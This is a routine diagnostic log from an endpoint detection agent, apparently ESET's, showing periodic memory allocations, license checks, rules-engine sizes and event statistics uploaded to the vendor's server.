2026-03-04 07:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2407 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 547 KB; TcpIpConnectionsManager: 514 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; BatchSerializer::EventsQueueTag: 144 KB; ModuleInfoCache: 110 KB; rules::ProcessConditionsCache: 102 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67110 KB;
2026-03-04 07:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2771 KB; BaseEvent: 728 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 512 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; BatchSerializer::EventsQueueTag: 190 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; rules::ProcessConditionsCache: 84 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67683 KB;
2026-03-04 07:32:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:27:45, To:, 2026-03-04 07:32:02, Duration (s):, 257, Events Per Second:, 15.988, Events:, 4117, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3395, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458382
2026-03-04 07:32:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s361ms.
2026-03-04 07:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1587 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 512 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 163 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; rules::ProcessConditionsCache: 78 KB; BatchSerializer::EventsQueueTag: 42 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65782 KB;
2026-03-04 07:33:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:33:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:33:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:33:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1951 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; BaseEvent: 343 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 89 KB; rules::ProcessConditionsCache: 58 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66376 KB;
2026-03-04 07:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2311 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; BaseEvent: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BatchSerializer::EventsQueueTag: 136 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; rules::ProcessConditionsCache: 41 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66933 KB;
2026-03-04 07:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2686 KB; BaseEvent: 701 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 494 KB; BatchSerializer::EventsQueueTag: 183 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::ProcessConditionsCache: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67532 KB;
2026-03-04 07:36:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:32:02, To:, 2026-03-04 07:36:10, Duration (s):, 248, Events Per Second:, 16.564, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3390, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 719, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458115
2026-03-04 07:36:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s400ms.
2026-03-04 07:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1570 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 494 KB; BaseEvent: 138 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 18 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65680 KB;
2026-03-04 07:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1918 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 407 KB; BaseEvent: 309 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 81 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66638 KB;
2026-03-04 07:38:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:38:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:38:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:38:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1918 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 407 KB; TcpIpConnectionsManager: 365 KB; BaseEvent: 311 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 82 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66477 KB;
2026-03-04 07:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1918 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 407 KB; BaseEvent: 313 KB; TcpIpConnectionsManager: 212 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 82 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66327 KB;
2026-03-04 07:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1918 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 407 KB; BaseEvent: 315 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 83 KB; TcpIpConnectionsManager: 65 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66182 KB;
2026-03-04 07:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1918 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 407 KB; BaseEvent: 315 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 83 KB; TcpIpConnectionsManager: 65 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66182 KB;
2026-03-04 07:42:51 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:36:09, To:, 2026-03-04 07:42:51, Duration (s):, 402, Events Per Second:, 12.856, Events:, 5180, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4262, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 23, Livegrid:, 23, OriginUrl:, 0, Alarms:, 871, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 575887
2026-03-04 07:42:53 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s382ms.
2026-03-04 07:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1940 KB; TcpIpConnectionsManager: 786 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; rules::ProcessConditionsCache: 237 KB; BaseEvent: 235 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66674 KB;
2026-03-04 07:43:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:43:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:43:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:43:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1940 KB; TcpIpConnectionsManager: 786 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; rules::ProcessConditionsCache: 237 KB; BaseEvent: 235 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66674 KB;
2026-03-04 07:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1940 KB; TcpIpConnectionsManager: 786 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; rules::ProcessConditionsCache: 237 KB; BaseEvent: 235 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66674 KB;
2026-03-04 07:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1940 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; rules::ProcessConditionsCache: 237 KB; BaseEvent: 235 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; TcpIpConnectionsManager: 63 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65948 KB;
2026-03-04 07:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1940 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; rules::ProcessConditionsCache: 237 KB; BaseEvent: 235 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; TcpIpConnectionsManager: 63 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65948 KB;
2026-03-04 07:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2392 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 493 KB; BaseEvent: 445 KB; rules::ProcessConditionsCache: 322 KB; TcpIpConnectionsManager: 250 KB; BatchSerializer::EventsQueueTag: 117 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66928 KB;
2026-03-04 07:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:48:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:48:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:48:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:48:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2634 KB; ModuleMetadata: 589 KB; BaseEvent: 561 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; TcpIpConnectionsManager: 353 KB; rules::ProcessConditionsCache: 171 KB; BatchSerializer::EventsQueueTag: 148 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67276 KB;
2026-03-04 07:49:51 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:41:14, To:, 2026-03-04 07:49:51, Duration (s):, 517, Events Per Second:, 7.890, Events:, 4087, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3385, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454210
2026-03-04 07:49:53 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s380ms.
2026-03-04 07:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1248 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 512 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; rules::ProcessConditionsCache: 184 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 21 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65371 KB;
2026-03-04 07:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1625 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 716 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 486 KB; BaseEvent: 203 KB; rules::ProcessConditionsCache: 183 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 52 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66166 KB;
2026-03-04 07:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1987 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 719 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; BaseEvent: 383 KB; rules::ProcessConditionsCache: 155 KB; ModuleInfoCache: 111 KB; BatchSerializer::EventsQueueTag: 99 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66778 KB;
2026-03-04 07:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2350 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 720 KB; ModuleMetadata: 589 KB; BaseEvent: 562 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; rules::ProcessConditionsCache: 152 KB; BatchSerializer::EventsQueueTag: 146 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67363 KB;
2026-03-04 07:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:53:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:53:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:53:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:53:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:53:55 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:49:51, To:, 2026-03-04 07:53:55, Duration (s):, 244, Events Per Second:, 16.875, Events:, 4123, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3400, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459540
2026-03-04 07:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1279 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 704 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; BatchStringTag: 448 KB; rules::ProcessConditionsCache: 173 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchSerializer::EventsQueueTag: 0 KB; BaseEvent: 0 KB; Total: 66030 KB;
2026-03-04 07:53:56 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s391ms.
